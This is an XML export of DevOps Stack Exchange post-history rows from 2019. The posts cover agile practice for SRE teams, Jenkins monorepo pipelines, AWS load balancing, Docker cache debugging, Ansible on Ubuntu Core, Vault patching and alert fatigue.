  <row Id="25704" PostHistoryTypeId="2" PostId="8771" RevisionGUID="3bf33e09-4c93-48b1-8196-52b62886ab5f" CreationDate="2019-07-31T20:23:19.810" UserId="9148" Text="We don't use Agile for the DevOps group ourselves, but we do integrate with the normal Scrum Teams. When something is needed by the team from DevOps, such as optimizing the build server, the related team puts a PBI in their backlog with a 'DevOps' label. Our lead has a custom dashboard in Jira with all issues labeled 'DevOps'. They work with the Scrum Master to get prioritization and then one of the DevOps Engineers is tasked with being an ad-hoc member of that Scrum Team for the life of that issue. This helps us prioritize work based on our &quot;customer's&quot; priorities, ties our effort to the sprint, and allows us to get &quot;credit&quot; for the work we're doing.&#xD;&#xA;&#xD;&#xA;Prior to this, we used Kanban on Jira just for a todo list. Unfortunately, we would sometimes have to stop working on something we had planned to work on because one of the teams needed something. Now, unless it's an emergency, they basically request DevOps resources (people/time) via their backlog and the Scrum Master communicating that need to our Lead." ContentLicense="CC BY-SA 4.0" />
  <row Id="25705" PostHistoryTypeId="5" PostId="8758" RevisionGUID="7bf52939-c052-491a-8767-c42143908029" CreationDate="2019-07-31T21:34:02.890" UserId="7078" Comment="deleted 2 characters in body" Text="Agile practices like scrum and kanban were primarily designed for software development.&#xD;&#xA;&#xD;&#xA;Interrupt and unplanned work is a significant component of what most SRE or DevOps teams do.  While it is always useful to use a tracking system like Jira to manage work, do sprint or kanban really work for SRE teams?&#xD;&#xA;&#xD;&#xA;The constraints I see are:&#xD;&#xA;&#xD;&#xA;- The work is very dynamic in nature, with priorities changing on a daily basis&#xD;&#xA;- People being on call adds another dimension to the problem. Sometimes, more than one team member might get involved in on call / post-mortem tasks.&#xD;&#xA;- The team doesn't have a single &quot;product&quot; and hence it doesn't yield itself to a common planning process&#xD;&#xA;- Daily standup meetings may not make much sense because of the lack of overlap among tasks&#xD;&#xA;- The team might be working on tasks related to more than one partner teams and hence spanning multiple Jira projects.  Since a sprint or kanban board allows only one Jira project, it may not be able to fit in all the work.&#xD;&#xA;&#xD;&#xA;I would like to hear from other SREs what their experience with sprint and kanban is." ContentLicense="CC BY-SA 4.0" />
  <row Id="25709" PostHistoryTypeId="5" PostId="6678" RevisionGUID="7507cc0b-c1f4-4f61-b66b-4cc8c762b510" CreationDate="2019-07-31T22:04:21.493" UserId="13011" Comment="added 399 characters in body" Text="You can use the &quot;[when][1]&quot; block combined with the built in &quot;changeset&quot; condition to conditionally run only certain stages of your monorepo's pipeline. From the when.changeset documentation:&#xD;&#xA;&#xD;&#xA;changeset- &#xD;&#xA;Executes the stage if the build’s SCM changeset contains one or more files matching the given string or glob. Example: when { changeset &quot;**/*.js&quot; }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is an example Jenkinsfile using this strategy:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        stages {&#xD;&#xA;            stage('build matchengine') {&#xD;&#xA;                when {&#xD;&#xA;                    changeset &quot;**/matchengine/*.*&quot;&#xD;&#xA;                }&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'building match engine'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('build posttrade') {&#xD;&#xA;                when {&#xD;&#xA;                    changeset &quot;**/posttrade/*.*&quot;&#xD;&#xA;                }&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'building post trade'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;, applicable to the monorepo project structure shown below:&#xD;&#xA;&#xD;&#xA;     .(my-project)&#xD;&#xA;       |-- Jenkinsfile&#xD;&#xA;       |-- matchengine&#xD;&#xA;       |-- posttrade&#xD;&#xA;       |-- serverless&#xD;&#xA;       |-- ui&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This strategy won't scale past small codebases because it would be hard to keep track of which modules depend one each other. You would be better off using a build system like Bazel. Your CI job would simply issue a bazel build //... (build everything), and Bazel would calculate what actually needs to be built, and what needs to be tested. Further, there even exist bazel rules such as rules_docker and rules_k8s which can calculate which of your containers need to be rebuilt and pushed to a container registry, and which of your applications need to be redeployed to Kubernetes.&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/syntax/#when" ContentLicense="CC BY-SA 4.0" />
  <row Id="25710" PostHistoryTypeId="5" PostId="8758" RevisionGUID="f1144961-49c3-4ebc-8353-64aac47c75f2" CreationDate="2019-07-31T22:20:32.840" UserId="7078" Comment="added 108 characters in body" Text="Agile practices like scrum and kanban were primarily designed for software development.&#xD;&#xA;&#xD;&#xA;Interrupt and unplanned work is a significant component of what most SRE or DevOps teams do.  While it is always useful to use a tracking system like Jira to manage work, do sprint or kanban really work for SRE teams?&#xD;&#xA;&#xD;&#xA;The constraints I see are:&#xD;&#xA;&#xD;&#xA;- The work is very dynamic in nature, with priorities changing on a daily basis.  Because of this, the sprint duration of two weeks seems very aggressive and it adds unnecessary overhead.&#xD;&#xA;- People being on call adds another dimension to the problem. Sometimes, more than one team member might get involved in on call / post-mortem tasks.&#xD;&#xA;- The team doesn't have a single &quot;product&quot; and hence it doesn't yield itself to a common planning process&#xD;&#xA;- Daily standup meetings may not make much sense because of the lack of overlap among tasks&#xD;&#xA;- The team might be working on tasks related to more than one partner teams and hence spanning multiple Jira projects.  Since a sprint or kanban board allows only one Jira project, it may not be able to fit in all the work.&#xD;&#xA;&#xD;&#xA;I would like to hear from other SREs what their experience with sprint and kanban is." ContentLicense="CC BY-SA 4.0" />
  <row Id="25711" PostHistoryTypeId="2" PostId="8773" RevisionGUID="3dfdb4a2-da5e-432b-accb-4d6a19d28a9c" CreationDate="2019-07-31T23:33:57.693" UserId="4115" Text="I personally use the [Pull Request Notifier](https://github.com/tomasbjerre/pull-request-notifier-for-bitbucket) plugin for Bitbucket to trigger my Bitbucket Multibranch Pipeline builds in Jenkins.  Using the GUI configuration tools, you can configure the Pull Request Notifier plugin to trigger a build on any arbitrary PR action, including adding comments.&#xD;&#xA;&#xD;&#xA;However, you don't really need to use comments to trigger builds - there is a build trigger button in the PR view in Bitbucket, and you can also use the &quot;Build Now&quot; button in Jenkins to trigger a PR build.  Both of these seem a little bit easier to me than a magic comment." ContentLicense="CC BY-SA 4.0" />
  <row Id="25713" PostHistoryTypeId="6" PostId="8266" RevisionGUID="fae329b8-f15c-49ee-bdd6-dfa365a3cf93" CreationDate="2019-08-01T05:06:11.913" UserId="7078" Comment="Added monitoring tag" Text="&lt;monitoring&gt;&lt;cloud&gt;&lt;sre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25714" PostHistoryTypeId="24" PostId="8266" RevisionGUID="fae329b8-f15c-49ee-bdd6-dfa365a3cf93" CreationDate="2019-08-01T05:06:11.913" Comment="Proposed by 7078 approved by -1 edit id of 1041" ContentLicense="CC BY-SA 4.0" />
  <row Id="25715" PostHistoryTypeId="5" PostId="8266" RevisionGUID="155bbb95-6809-4be2-96ad-6975935a5d31" CreationDate="2019-08-01T05:06:11.913" UserId="40" Comment="added 7 characters in body" Text="In https://landing.google.com/sre/workbook/chapters/alerting-on-slos/#pros_and_cons_of_alerting_based_on_burn_r I don't understand how the reset time can be 58 min when the alerting window size is one hour.&#xD;&#xA;&#xD;&#xA;How can the reset time be shorter than the alerting window size?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25716" PostHistoryTypeId="2" PostId="8774" RevisionGUID="2581dd37-e419-45b0-8698-e235c7f25f55" CreationDate="2019-08-01T05:26:08.243" UserId="11515" Text="I have 2 EC2 instances and an Application Load Balancer.&#xD;&#xA;&#xD;&#xA;The Load is not too high, but I'm keeping both instances working just in case. &#xD;&#xA;Plus, it saves the time on deployment with (one at a time) and still provides &quot;no downtime&quot;.&#xD;&#xA;&#xD;&#xA;Now I need to add another project. &#xD;&#xA;&#xD;&#xA;I'd like to use my EC2 instances and only create a new Load Balancer for it.&#xD;&#xA;&#xD;&#xA;Can I do it?&#xD;&#xA;&#xD;&#xA;I mean, I can place projects in folders in EC2, but I cannot find a way to set Load Balancer to use a specific folder instead of the root.&#xD;&#xA;&#xD;&#xA;My best guess now is to set Nginx to use port 80 for first project and 81 for the second one. But I haven't try it yet. Is there a better way? Are there any hidden problems?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25717" PostHistoryTypeId="1" PostId="8774" RevisionGUID="2581dd37-e419-45b0-8698-e235c7f25f55" CreationDate="2019-08-01T05:26:08.243" UserId="11515" Text="multiple projects per EC2 with Load Balancers" ContentLicense="CC BY-SA 4.0" />
  <row Id="25718" PostHistoryTypeId="3" PostId="8774" RevisionGUID="2581dd37-e419-45b0-8698-e235c7f25f55" CreationDate="2019-08-01T05:26:08.243" UserId="11515" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25719" PostHistoryTypeId="2" PostId="8775" RevisionGUID="2eba4682-e227-4f4b-921e-4a0f0968b79e" CreationDate="2019-08-01T06:23:22.547" UserId="7120" Text="You can archive that, but you will need to use the Application Load Balancer (ALB) which allows you to create rules (like HTTP URL paths, host header conditionals, query strings, HTTP method) to forward the traffic to a specific pool of servers that on your case would be those 2 EC2 instances. &#xD;&#xA;&#xD;&#xA;e.g.:&#xD;&#xA;&#xD;&#xA;&lt;URL ALB&gt;/app1 --&gt; &lt;EC2 Instace&gt;:&lt;port&gt;/app1&#xD;&#xA;&lt;URL ALB&gt;/app2 --&gt; &lt;EC2 Instace&gt;:&lt;port&gt;/app2&#xD;&#xA;&#xD;&#xA;Notice that you should have the ALB rule like this: `/app1/*` and `/app2/*` " ContentLicense="CC BY-SA 4.0" />
  <row Id="25720" PostHistoryTypeId="2" PostId="8776" RevisionGUID="cf0e5d91-f55e-4c01-bba6-976b22f43759" CreationDate="2019-08-01T06:54:41.447" UserId="11258" Text="I have a scenario -&#xD;&#xA;I have configured my frontend application in one autoscaling group and my backend application is in another autoscaling group. I'm using the load balancer also. But I don't want API call from front end to the backend over the internet.&#xD;&#xA;How Can I make front end application in autoscaling group to communicate privately with backend application which also in another autoscaling group?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25721" PostHistoryTypeId="1" PostId="8776" RevisionGUID="cf0e5d91-f55e-4c01-bba6-976b22f43759" CreationDate="2019-08-01T06:54:41.447" UserId="11258" Text="Aws autoscaling group in private subnet, private communication?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25722" PostHistoryTypeId="3" PostId="8776" RevisionGUID="cf0e5d91-f55e-4c01-bba6-976b22f43759" CreationDate="2019-08-01T06:54:41.447" UserId="11258" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25723" PostHistoryTypeId="2" PostId="8777" RevisionGUID="651936f5-623b-4ee4-8502-13282255baad" CreationDate="2019-08-01T08:47:44.963" UserId="16307" Text="I am assuming that the backend application has been set up in its own subnet that has been configured for private IP addresses only.  If not I would recommend that you do that as a starter for 10.&#xD;&#xA;&#xD;&#xA;With that in place, you could set up an internal application load balancer to work on private only and have your backend ASG use this.&#xD;&#xA;from the AWS docs&#xD;&#xA;https://docs.aws.amazon.com/AmazonECS/latest/developerguide/create-application-load-balancer.html&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25724" PostHistoryTypeId="50" PostId="6096" RevisionGUID="8dd57881-1587-4432-aa08-ed8411e3b945" CreationDate="2019-08-01T09:00:45.060" UserId="-1" />
  <row Id="25727" PostHistoryTypeId="2" PostId="8779" RevisionGUID="630a50e5-b919-4ccb-bd28-ef9612154a94" CreationDate="2019-08-01T09:22:09.043" UserId="16307" Text="&#xD;&#xA;For me, the best place to start is to have at the end of your packer.json a call to the [manifest][1] post-processor.&#xD;&#xA;&#xD;&#xA;This will contain the full details of the AMI that you have created in JSON format.&#xD;&#xA;&#xD;&#xA;eg  &quot;artifact_id&quot;: &quot;us-west-1:ami-XXXXXXXX&quot;,   &#xD;&#xA;&#xD;&#xA;This can then be read and acted on by any tooling of your choice.&#xD;&#xA;&#xD;&#xA;Source: https://www.packer.io/docs/post-processors/manifest.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.packer.io/docs/post-processors/manifest.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="25729" PostHistoryTypeId="2" PostId="8780" RevisionGUID="f6b13080-a3a9-4e8c-b21c-55534aa0f894" CreationDate="2019-08-01T11:31:35.933" UserId="16312" Text="I am trying to improve CI/CD performance and part of that is improving the caching behaviour of Docker builds. I find myself trying to debug what exactly invalidates the cache. Are there any ways to query the Docker build process to get more information than &quot;cached&quot; and &quot;not cached&quot; ? For example, at some point, I add a large directory, which has not changed as far as I can tell, but busts the cache. I would like to find out what is causing that, exactly." ContentLicense="CC BY-SA 4.0" />
  <row Id="25730" PostHistoryTypeId="1" PostId="8780" RevisionGUID="f6b13080-a3a9-4e8c-b21c-55534aa0f894" CreationDate="2019-08-01T11:31:35.933" UserId="16312" Text="Debug Docker caching issues" ContentLicense="CC BY-SA 4.0" />
  <row Id="25731" PostHistoryTypeId="3" PostId="8780" RevisionGUID="f6b13080-a3a9-4e8c-b21c-55534aa0f894" CreationDate="2019-08-01T11:31:35.933" UserId="16312" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25732" PostHistoryTypeId="2" PostId="8781" RevisionGUID="df94af7b-1f8e-4d62-8fce-f975855a6126" CreationDate="2019-08-01T13:03:59.127" UserId="16316" Text="According to Docker documentation [search for: &quot;Leverage build cache&quot;][1], there is checksum calculated on the directory - please see the article for details.&#xD;&#xA;&#xD;&#xA;What I will suggest is a multistage build.&#xD;&#xA;&#xD;&#xA;If we have static content of directory we could create container/image with its content. Then instead of using Docker copy, we could use FROM as a build stage and copy that directory into a new layer, which in fact will reuse that layer.&#xD;&#xA;That is based on a fact that we don't operate on a directory (when a file could get a changed attribute like last accessed time). &#xD;&#xA;&#xD;&#xA;Base Dockerfile&#xD;&#xA;---------------&#xD;&#xA;&#xD;&#xA;    FROM alpine:latest  &#xD;&#xA;    COPY /myDirectory .&#xD;&#xA;&#xD;&#xA;Then you could tag this container as storage-base&#xD;&#xA;&#xD;&#xA;MultiStage Dockerfile&#xD;&#xA;---------------------&#xD;&#xA;&#xD;&#xA;    FROM storage-base AS storage&#xD;&#xA;    &#xD;&#xA;    FROM alpine:latest  &#xD;&#xA;    RUN a command &#xD;&#xA;    WORKDIR /root/&#xD;&#xA;    COPY --from=storage /myDirectory .&#xD;&#xA;&#xD;&#xA;Please check more references here: [Docker Multistage Build][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/develop/develop-images/dockerfile_best-practices/&#xD;&#xA;  [2]: https://docs.docker.com/develop/develop-images/multistage-build/&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25733" PostHistoryTypeId="2" PostId="8782" RevisionGUID="642f6359-80f0-434e-89e1-9915db7953e7" CreationDate="2019-08-01T13:12:41.163" UserId="16317" Text="Ubuntu Core is a minimalistic operating system. It uses `snap` package manager instead of `apt`.&#xD;&#xA;Is it possible to manage a Ubuntu Core device with Ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25734" PostHistoryTypeId="1" PostId="8782" RevisionGUID="642f6359-80f0-434e-89e1-9915db7953e7" CreationDate="2019-08-01T13:12:41.163" UserId="16317" Text="Ansible on Ubuntu Core" ContentLicense="CC BY-SA 4.0" />
  <row Id="25735" PostHistoryTypeId="3" PostId="8782" RevisionGUID="642f6359-80f0-434e-89e1-9915db7953e7" CreationDate="2019-08-01T13:12:41.163" UserId="16317" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25736" PostHistoryTypeId="2" PostId="8783" RevisionGUID="33d52de0-356e-47da-a5d2-7396d13a61d8" CreationDate="2019-08-01T13:38:29.393" UserId="354" Text="If the OS has a python installation, you can always [install Ansible using the python package](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#latest-releases-via-pip).&#xD;&#xA;&#xD;&#xA;From the Ansible docs:&#xD;&#xA;&#xD;&#xA;&gt;Ansible can be installed via pip, the Python package manager. If pip isn’t already available on your system of Python, run the following commands to install it:&#xD;&#xA;&#xD;&#xA;&gt; $ curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py&#xD;&#xA;&gt; $ python get-pip.py --user&#xD;&#xA;&#xD;&#xA;&gt; Then install Ansible:&#xD;&#xA;&#xD;&#xA;&gt; $ pip install --user ansible&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25737" PostHistoryTypeId="5" PostId="8783" RevisionGUID="1aba0414-012b-48eb-a7d3-eb0faf72b564" CreationDate="2019-08-01T13:51:42.573" UserId="354" Comment="update answer to better respond to the question" Text="If the OS has a python installation, you can use  [Ansible to manage it.](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#managed-node-requirements). Note that you should check the individual module requirements (for example the [snap module](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#managed-node-requirements)) since they may have dependencies which cannot be satisfied by your OS. &#xA;&#xA;In general though the modules are written in python and as such a python runtime is needed." ContentLicense="CC BY-SA 4.0" />
  <row Id="25738" PostHistoryTypeId="50" PostId="6482" RevisionGUID="60f20365-1cda-4e5b-b899-44a59e33b78a" CreationDate="2019-08-01T16:01:00.117" UserId="-1" />
  <row Id="25739" PostHistoryTypeId="5" PostId="8781" RevisionGUID="b13c151a-467e-4112-9ddc-c1f355a855fa" CreationDate="2019-08-01T17:02:28.277" UserId="16316" Comment="added 591 characters in body" Text="According to Docker documentation [search for: &quot;Leverage build cache&quot;][1], there is checksum calculated on the directory - please see the article for details.&#xD;&#xA;&#xD;&#xA;What I will suggest is a multistage build.&#xD;&#xA;&#xD;&#xA;If we have static content of directory we could create container/image with its content. Then instead of using Docker copy, we could use FROM as a build stage and copy that directory into a new layer, which in fact will reuse that layer.&#xD;&#xA;That is based on a fact that we don't operate on a directory (when a file could get a changed attribute like last accessed time). &#xD;&#xA;&#xD;&#xA;Base Dockerfile&#xD;&#xA;---------------&#xD;&#xA;&#xD;&#xA;    FROM alpine:latest  &#xD;&#xA;    COPY /myDirectory .&#xD;&#xA;&#xD;&#xA;Then you could tag this container as storage-base&#xD;&#xA;O&#xD;&#xA;MultiStage Dockerfile&#xD;&#xA;---------------------&#xD;&#xA;&#xD;&#xA;    FROM storage-base AS storage&#xD;&#xA;    &#xD;&#xA;    FROM alpine:latest  &#xD;&#xA;    RUN a command &#xD;&#xA;    WORKDIR /root/&#xD;&#xA;    COPY --from=storage /myDirectory .&#xD;&#xA;&#xD;&#xA;Please check more references here: [Docker Multistage Build][2]&#xD;&#xA;&#xD;&#xA;Edit&#xD;&#xA;---------&#xD;&#xA; 1. the image/container created in step 1 shall be only recreated when&#xD;&#xA;    directory content will change (by a trigger that knows that the data changed), so that means it will not be created on every build.&#xD;&#xA; 2. then we use the image that was created once (and re-use that layer)&#xD;&#xA;&#xD;&#xA;I just created a simple example to help express my idea - [Git repo][3] - run build-docker.sh script&#xD;&#xA;&#xD;&#xA;I found that on reboot Docker is re-creating cache instead of reusing, but it takes just a few minutes and it is not critical.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/develop/develop-images/dockerfile_best-practices/&#xD;&#xA;  [2]: https://docs.docker.com/develop/develop-images/multistage-build/&#xD;&#xA;  [3]: https://github.com/profesor79/docker-cache-directory-as-an-image-multistage-build" ContentLicense="CC BY-SA 4.0" />
  <row Id="25740" PostHistoryTypeId="5" PostId="8758" RevisionGUID="3b27523e-1085-4109-adf5-27bd4dd3ff21" CreationDate="2019-08-01T17:30:36.797" UserId="7078" Comment="added 104 characters in body" Text="Agile practices like scrum and kanban were primarily designed for software development.&#xD;&#xA;&#xD;&#xA;Interrupt and unplanned work is a significant component of what most SRE or DevOps teams do.  While it is always useful to use a tracking system like Jira to manage work, do sprint or kanban really work for SRE teams?&#xD;&#xA;&#xD;&#xA;The constraints I see are:&#xD;&#xA;&#xD;&#xA;- The work is very dynamic in nature, with priorities changing on a daily basis.  Because of this, the sprint duration of two weeks seems very aggressive and it adds unnecessary overhead.&#xD;&#xA;- People being on call adds another dimension to the problem. Sometimes, more than one team member might get involved in on call / post-mortem tasks.&#xD;&#xA;- The team doesn't have a single &quot;product&quot; and hence it doesn't yield itself to a common planning process&#xD;&#xA;- Daily standup meetings may not make much sense because of the lack of overlap among tasks&#xD;&#xA;- The team might be working on tasks related to more than one partner teams and hence spanning multiple Jira projects.  Since a sprint or kanban board allows only one Jira project, it may not be able to fit in all the work.&#xD;&#xA;&#xD;&#xA;From what I hear from many SREs that I have spoken to, sprint planning hasn't worked for them at all.  I would like to hear from the community here what their experience with sprint and kanban is." ContentLicense="CC BY-SA 4.0" />
  <row Id="25741" PostHistoryTypeId="50" PostId="8336" RevisionGUID="a7b6b3bb-4d7c-4c03-8143-0ba315459af9" CreationDate="2019-08-01T19:01:20.147" UserId="-1" />
  <row Id="25742" PostHistoryTypeId="2" PostId="8784" RevisionGUID="8d015606-b216-4d72-a18b-0fbd50c8ed04" CreationDate="2019-08-01T20:35:56.073" UserId="6775" Text="I have to deal with that same issue and the main problem is not the cache itself is the time that takes to make a build but also the problem of be Shure you have the right conches on the image you are building.&#xA;&#xA;I can recommend you some different options you can make separately or all together:&#xA; &#xA; - Make cronjob that cleans your docker Daemon of old images periodically, for example once a week. With that you are sure to have fresh images every week and have a good performance with the cache for the daily build, the only one that take a little bit more time is the first build after the flush.&#xA;&#xA; - Make your own base image with all the content you know you don't change too often, for that you can have more than one Dockerfile on your project and launch a build process of the base image after the flush on previous step to be sure you have the latest changes on a fresh image&#xA; &#xA; - Use multi-stage build or build patter to have a good size images at the end of the build.&#xA; &#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25743" PostHistoryTypeId="2" PostId="8785" RevisionGUID="575b5b4d-e7bb-415c-b03a-13a5ca11902d" CreationDate="2019-08-01T21:14:32.753" UserId="16324" Text="I'm setting up a Hashicorp Vault open source deployment in AWS, but I'm trying to figure out the best approach for keeping the underlying EC2 instances patched. I'm using AWS Systems Manager for patching, but won't that cause the patched instances to restart, and then the Vault instances will need to be unsealed every time?&#xD;&#xA;&#xD;&#xA;One workaround for this would be using the AWS KMS driven unseal approach. Anyone have any experience with this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25744" PostHistoryTypeId="1" PostId="8785" RevisionGUID="575b5b4d-e7bb-415c-b03a-13a5ca11902d" CreationDate="2019-08-01T21:14:32.753" UserId="16324" Text="How to manage Hashicorp Vault patching in AWS?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25745" PostHistoryTypeId="3" PostId="8785" RevisionGUID="575b5b4d-e7bb-415c-b03a-13a5ca11902d" CreationDate="2019-08-01T21:14:32.753" UserId="16324" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;hashicorp-vault&gt;&lt;secret-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25746" PostHistoryTypeId="5" PostId="8784" RevisionGUID="f12e1894-d1a6-4460-94a2-6636f3c9d345" CreationDate="2019-08-01T21:17:20.067" UserId="6775" Comment="added 18 characters in body" Text="I have to deal with that same issue and the main problem is not the cache itself is the time that takes to make a build but also the problem of being sure you have the right changes on the image you are building.&#xD;&#xA;&#xD;&#xA;I can recommend you some different options you can make separately or all together:&#xD;&#xA; &#xD;&#xA; - Make cronjob that cleans your docker Daemon of old images periodically, for example, once a week. With that, you are sure to have fresh images every week and have a good performance with the cache for the daily build, the only one that takes a little bit more time is the first build after the flush.&#xD;&#xA;&#xD;&#xA; - Make your own base image with all the content you know you don't change too often, for that you can have more than one Dockerfile on your project and launch a build process of the base image after the flush on the previous step to be sure you have the latest changes on a fresh image&#xD;&#xA; &#xD;&#xA; - Use multi-stage build or build patter to have a good size image at the end of the build.&#xD;&#xA; &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25747" PostHistoryTypeId="50" PostId="6526" RevisionGUID="e01ab03a-4a06-4d79-b794-9f516eae3ddc" CreationDate="2019-08-01T22:02:35.327" UserId="-1" />
  <row Id="25748" PostHistoryTypeId="2" PostId="8786" RevisionGUID="955cbaa3-14c0-40e7-adef-d9f9642566a4" CreationDate="2019-08-01T22:17:21.810" UserId="16316" Text="Did you try DbUp?&#xA;[DbUp homepage ][1] &#xA;This utility can apply patches to database and maintain its version. &#xA;&#xA;It writes execution log to databases and is able to run scripts that were not applied. &#xA;&#xA;I'm using that project over 3 years now and it does it job well. &#xA;&#xA;&#xA;&#xA;  [1]: https://dbup.readthedocs.io/en/latest/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25749" PostHistoryTypeId="2" PostId="8787" RevisionGUID="f22ffe00-4154-4060-8eca-48e5f3d4a872" CreationDate="2019-08-02T00:15:36.870" UserId="7078" Text="Recently, we hear the term &quot;alert fatigue&quot; a lot.  I have a few questions regarding this:&#xD;&#xA;&#xD;&#xA;- where did this term come from?&#xD;&#xA;- was it invented by a company like PagerDuty?&#xD;&#xA;- what is alert fatigue actually?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25750" PostHistoryTypeId="1" PostId="8787" RevisionGUID="f22ffe00-4154-4060-8eca-48e5f3d4a872" CreationDate="2019-08-02T00:15:36.870" UserId="7078" Text="What is alert fatigue?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25751" PostHistoryTypeId="3" PostId="8787" RevisionGUID="f22ffe00-4154-4060-8eca-48e5f3d4a872" CreationDate="2019-08-02T00:15:36.870" UserId="7078" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25752" PostHistoryTypeId="5" PostId="8758" RevisionGUID="645a53a5-79a6-4187-9ab3-82f0445629a5" CreationDate="2019-08-02T00:51:13.277" UserId="7078" Comment="added 107 characters in body" Text="Agile practices like scrum and kanban were primarily designed for software development.&#xD;&#xA;&#xD;&#xA;Interrupt and unplanned work is a significant component of what most SRE ([Site Reliability Engineering][1]) or DevOps teams do.  While it is always useful to use a tracking system like Jira to manage work, do sprint or kanban really work for SRE teams?&#xD;&#xA;&#xD;&#xA;The constraints I see are:&#xD;&#xA;&#xD;&#xA;- The work is very dynamic in nature, with priorities changing on a daily basis.  Because of this, the sprint duration of two weeks seems very aggressive and it adds unnecessary overhead.&#xD;&#xA;- People being on call adds another dimension to the problem. Sometimes, more than one team member might get involved in on call / post-mortem tasks.&#xD;&#xA;- The team doesn't have a single &quot;product&quot; and hence it doesn't yield itself to a common planning process&#xD;&#xA;- Daily standup meetings may not make much sense because of the lack of overlap among tasks&#xD;&#xA;- The team might be working on tasks related to more than one partner teams and hence spanning multiple Jira projects.  Since a sprint or kanban board allows only one Jira project, it may not be able to fit in all the work.&#xD;&#xA;&#xD;&#xA;From what I hear from many SREs that I have spoken to, sprint planning hasn't worked for them at all.  I would like to hear from the community here what their experience with sprint and kanban is.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Site_Reliability_Engineering" ContentLicense="CC BY-SA 4.0" />
  <row Id="25753" PostHistoryTypeId="2" PostId="8788" RevisionGUID="7901ac8b-9ecb-4d22-a8b4-382c0af0981a" CreationDate="2019-08-02T01:52:40.463" UserId="9077" Text="The term Alert Fatigue, also known as Alarm Fatigue has been around for decades. It affects many professions, including medical, technical, and construction industries.  According to the `Alert Fatigue by Other Names` reference, the earliest literature on the topic came during the Israeli Arab conflict.  The practice/understanding of the issue is ancient.  &#xD;&#xA;&#xD;&#xA;No, PagerDuty did not invent the term.&#xD;&#xA;&#xD;&#xA;Alert Fatigue:&#xD;&#xA;&#xD;&#xA;&gt;occurs when one is exposed to a large number of frequent alarms (alerts) and consequently becomes desensitized to them.  &#xD;&#xA;&#xD;&#xA;Aesop's Fable about the boy who cried wolf is a classic example of Alert Fatigue.  In Technology and Medical fields it occurs when alarms/alerts occur so frequently (with or without reason) that we become desensitized to them.  The outcome of this desensitization:&#xD;&#xA;&gt;dramatically reduces our reaction to similar subsequent threats.&#xD;&#xA;&#xD;&#xA;In other words we are become so used to the alert that we either ignore it or take our time to acknowledge it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA;[Alert fatigue by other names ][1]    &#xD;&#xA;[Alarm_fatigue][2]  &#xD;&#xA;[Cry Wolf - When Experience Becomes Fateful][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://pdfs.semanticscholar.org/2110/a6bbd40b5d105cc4d3d9f4cda0e463c29467.pdf&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Alarm_fatigue&#xD;&#xA;  [3]: https://www.psychologytoday.com/us/blog/maximum-brainpower/201205/cry-wolf-when-experience-becomes-fateful" ContentLicense="CC BY-SA 4.0" />
